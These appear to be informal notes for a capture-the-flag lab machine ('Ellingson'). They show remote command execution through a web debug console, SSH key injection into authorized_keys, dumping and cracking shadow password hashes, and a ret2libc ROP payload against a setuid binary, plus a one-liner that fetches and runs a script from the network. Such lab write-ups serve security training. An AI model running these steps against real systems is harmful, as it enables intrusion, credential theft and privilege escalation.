

Directory search to find console

Inject ssh-key

Look dir /var/backup

Sbin garbage

Bufferoverflow

ASLR enabled

GEF

Ret2lib

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)

| 256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)

|_ 256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)

80/tcp open http nginx 1.14.0 (Ubuntu)

|_ http-server-header: nginx/1.14.0 (Ubuntu)

| http-title: Ellingson Mineral Corp

|_ Requested resource was http://ellingson.htb/index

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

<http://ellingson.htb/index>

<http://ellingson.htb/articles/1>

<http://ellingson.htb/articles/2>

<http://ellingson.htb/articles/3>

<http://ellingson.htb/articles/4>

```
print (os.popen('whoami').read())
```

[console ready]

```
>>> print (os.popen('whoami').read())
```

hal

```
>>> print (os.popen('pwd').read())
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/
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>>> print (os.popen('ls -la /home').read())
```

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total 24
```

```
drwxr-xr-x 6 root  root  4096 Mar  9 2019 .
```

```
drwxr-xr-x 23 root  root  4096 Mar  9 2019 ..
```

```
drwxrwx--- 3 duke  duke  4096 Mar 10 2019 duke
```

```
drwxrwx--- 5 hal   hal   4096 May  7 2019 hal
```

```
drwxrwx--- 6 margo margo 4096 Mar 10 2019 margo
```

```
drwxrwx--- 4 theplague theplague 4096 May  7 2019 theplague
```

```
root@kali:~/ssh# cat id_rsa.pub
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```
ssh-rsa
```

```
AAAAB3NzaC1yc2EAAAADAQABAAQGC4Rq7bn7Ds3BHwtgAoM6qvnRm3zdev6oZCHwnSQmcPkZpWS2VLO+uzp86TH3/dc  
ESFWxViOZ3LHLMqtnPJyhv4T+1VLxSkpyS4isTT03EXZx3PfkF1Oq4vHRM2/R9mOUUkaJWicrwOUt68N+dGCQZ2JnAN18Ql2fl  
N/Lvl+pSw6yV+Pe8zm5yn84qm9dhxvCeq4GD7iauzFCXo/93FyJn+DnSDJ/08CFtokK6Yibim/XiCx8xyt2lxyEXNJBgLybL5CfjQwdY  
17xr5z5lrT9vgh1Qs0gxN9wG4Mo5kHKt8IFJu4N7f0zq98OA2QmbIGc09nWi+iCg3ALpUpgaqVgvAJIS1cc4/4oqcBw+RR1synPjX  
+toz543GHhsv7Ng3SDaZSGzI7pdUtoeBfDm9aGwHi0wvWNleMXChFYUFTZi9jIz1qHfrloG+/43tqlAnEawlvQobowe2d4RlCmJ  
ef2mbR5uVq65gsGtCqBjAWbl/mfFhC6fyH017fKGf+znU= root@kali
```

```
print (os.popen('echo \"ssh-rsa
```

```
AAAAB3NzaC1yc2EAAAADAQABAAQGC4Rq7bn7Ds3BHwtgAoM6qvnRm3zdev6oZCHwnSQmcPkZpWS2VLO+uzp86TH3/dc  
ESFWxViOZ3LHLMqtnPJyhv4T+1VLxSkpyS4isTT03EXZx3PfkF1Oq4vHRM2/R9mOUUkaJWicrwOUt68N+dGCQZ2JnAN18Ql2fl  
N/Lvl+pSw6yV+Pe8zm5yn84qm9dhxvCeq4GD7iauzFCXo/93FyJn+DnSDJ/08CFtokK6Yibim/XiCx8xyt2lxyEXNJBgLybL5CfjQwdY  
17xr5z5lrT9vgh1Qs0gxN9wG4Mo5kHKt8IFJu4N7f0zq98OA2QmbIGc09nWi+iCg3ALpUpgaqVgvAJIS1cc4/4oqcBw+RR1synPjX  
+toz543GHhsv7Ng3SDaZSGzI7pdUtoeBfDm9aGwHi0wvWNleMXChFYUFTZi9jIz1qHfrloG+/43tqlAnEawlvQobowe2d4RlCmJ  
ef2mbR5uVq65gsGtCqBjAWbl/mfFhC6fyH017fKGf+znU= root@kali\" > /home/hal/.ssh/authorized_keys').read())
```

```
root@kali:~/ssh# ssh -i id_rsa hal@ellingson.htb
```

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SHELL GAINED!!!!!!
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```
hal@ellingson:/var/backups$ cat shadow.bak
```

```
root:!:17737:0:99999:7:::
```

```
daemon:!:17737:0:99999:7:::
```

```
bin:!:17737:0:99999:7:::
```

```
sys:!:17737:0:99999:7:::
```

```
sync:!:17737:0:99999:7:::
```

```
games:!:17737:0:99999:7:::
```

```
man:!:17737:0:99999:7:::
```

```
lp:!:17737:0:99999:7:::
```

mail*:17737:0:99999:7::

news*:17737:0:99999:7::

uucp*:17737:0:99999:7::

proxy*:17737:0:99999:7::

www-data*:17737:0:99999:7::

backup*:17737:0:99999:7::

list*:17737:0:99999:7::

irc*:17737:0:99999:7::

gnats*:17737:0:99999:7::

nobody*:17737:0:99999:7::

systemd-network*:17737:0:99999:7::

systemd-resolve*:17737:0:99999:7::

syslog*:17737:0:99999:7::

messagebus*:17737:0:99999:7::

_apt*:17737:0:99999:7::

lxd*:17737:0:99999:7::

uuid*:17737:0:99999:7::

dnsmasq*:17737:0:99999:7::

landscape*:17737:0:99999:7::

pollinate*:17737:0:99999:7::

sshd*:17737:0:99999:7::

theplague:\$6\$.5ef7Dajxto8Lz3u\$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7::

hal:\$6\$UYTy.cHj\$qGyl.fQ1PlXPlII4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsfAcSxEkee30:17964:0:99999:7::

margo:\$6\$Lv8rcvK8\$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTIYaZ2DVPI9z1bDlZqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7::

duke:\$6\$bFjry0BT\$OtPfPmFl/KuUZOafZalqHINNX/acVeIdiXXCPo9dPi1YHO9AAAAAnFTfEh.2AheGivXMGMnEFi5DITAbIzwYc/:17964:0:99999:7::

root@kali:/home/kali/Desktop/htb/ellingson# grep -i god /usr/share/wordlists/rockyou.txt > list.txt

root@kali:/home/kali/Desktop/htb/ellingson# cat margo.hash

margo:\$6\$Lv8rcvK8\$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTIYaZ2DVPI9z1bDlZqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7::

```
root@kali:/home/kali/Desktop/htb/ellingson# john --wordlist=./list.txt margo.hash
```

Using default input encoding: UTF-8

Loaded 1 password hash (sha512crypt, crypt(3) \$6\$ [SHA512 128/128 AVX 2x])

Cost 1 (iteration count) is 5000 for all loaded hashes

Will run 4 OpenMP threads

Press 'q' or Ctrl-C to abort, almost any other key for status

iamgod\$08 (margo)

```
root@kali:~/ssh# ssh margo@ellingson.htb
```

```
margo@ellingson:~$ find / -perm -4000 2>/dev/null
```

```
/usr/bin/garbage
```

```
scp margo@ellingson.htb:/usr/bin/garbage ./
```

```
root@kali:/home/kali/Desktop/htb/ellingson# file garbage
```

garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050ffe52bba92a339959, not stripped

```
root@kali:/home/kali/Desktop/htb/ellingson# checksec ./garbage
```

```
[*] '/home/kali/Desktop/htb/ellingson/garbage'
```

Arch: amd64-64-little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)

```
margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
```

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ASLR ENABLED

I downloaded libc from the box:

```
margo@ellingson:~$ ldd /usr/bin/garbage
```

linux-vdso.so.1 (0x00007ffdd2dfc000)

libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc311a7c000)

/lib64/ld-linux-x86-64.so.2 (0x00007fc311e6d000)

To defeat ASLR our first rop chain will leak `__libc_start_main` by calling `puts()` with `__libc_start_main@plt` address as an argument. Then by subtracting `__libc_start_main@@GLIBC` address from the leaked address we will get the base address

of libc.

After leaking libc's address we can easily calculate the addresses we need and do our second chain which will perform the ret2libc attack.

```
root@kali:/home/kali/Desktop/htb/ellingson# gdb -q garbage
```

LOAD GEF

```
(gdb) pi import urllib.request as u, tempfile as t; g=t.NamedTemporaryFile(suffix='-gef.py'); open(g.name, 'wb+').write(u.urlopen('https://tinyurl.com/gef-master').read()); gdb.execute('source %s' % g.name)
```

```
gef> pattern create
```

[+] Generating a pattern of 1024 bytes

```
Aaaaaaaabaaaaaacaaaaadaaaaaeaaaaafaaaaagaaaaahaaaaaiaaaaajaaaaakaaaaalaaaaamaaaaana
aaaaaoaaaaapaaaaaqaaaaaraaaaaasaaaaaataaaaauaaaaavaaaaawaaaaaxaaaaayaaaaazaaaaabbaa
aaaabcaaaaabdaaaaabeaaaaabfaaaaabgaaaaabhaaaaabiaaaaabjaaaaabkaaaaablaaaaabmaaaaaabnaaaaaaboaa
aaaabpaaaaabqaaaaabraaaaabsaaaaabtaaaaabuaaaaabvaaaaabwaaaaabxaaaaabyaaaaabzaaaaabcbaaaaccaa
aaaacdaaaaaceaaaaacfaaaaacgaaaaachaaaaaciaaaaaacjaaaaackaaaaaclaaaaacmaaaaaacnaaaaaacnaaaaaacoaaaaacpaaaaa
acqaaaaacraaaaaacsaaaaactaaaaacuaaaaacvaaaaacwaaaaacxaaaaacyaaaaaczaaaaadbaaaaaadcaaaaaaddaaaaaad
eaaaaadfaaaaaadgaaaaadhaaaaadiaaaaadjaaaaadkaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaadpaaaaadqaaaaadr
aaaaadsaaaaadtaaaaaduaaaaadvaaaaadwaaaaadxaaaaadyaaaaadzaaaaaebaaaaaecaaaaaedaaaaaeaaaaaef
aaaaaegaaaaaehaaaaaeiaaaaaejaaaaaekaaaaaelaaaaaemaaaaaenaaaaaeoaaaaaepaaaaaeqaaaaaeraaaaaesa
aaaaaetaaaaaeuaaaaaevaaaaaewaaaaaexaaaaaeyaaaaaezaaaaaafbaaaaaafcaaaaaaf
```

```
0x00007fff6f142008|+0x0000: "raaaaaasaaaaataaaaaauaaaaavaaaaawaaaaaxa[...]" ← $rsp
```

```
gef> pattern offset raaaaaasaaaaataaaaaauaaaaavaaaaawaaaaaxa
```

[+] Searching 'raaaaaasaaaaataaaaaauaaaaavaaaaawaaaaaxa'

[+] Found at offset 136 (big-endian search)

```
payload = "A" * 136
payload += p64(RET)
payload += p64(POP_RDI)
payload += p64(BIN_SH)
payload += p64(SYSTEM)
```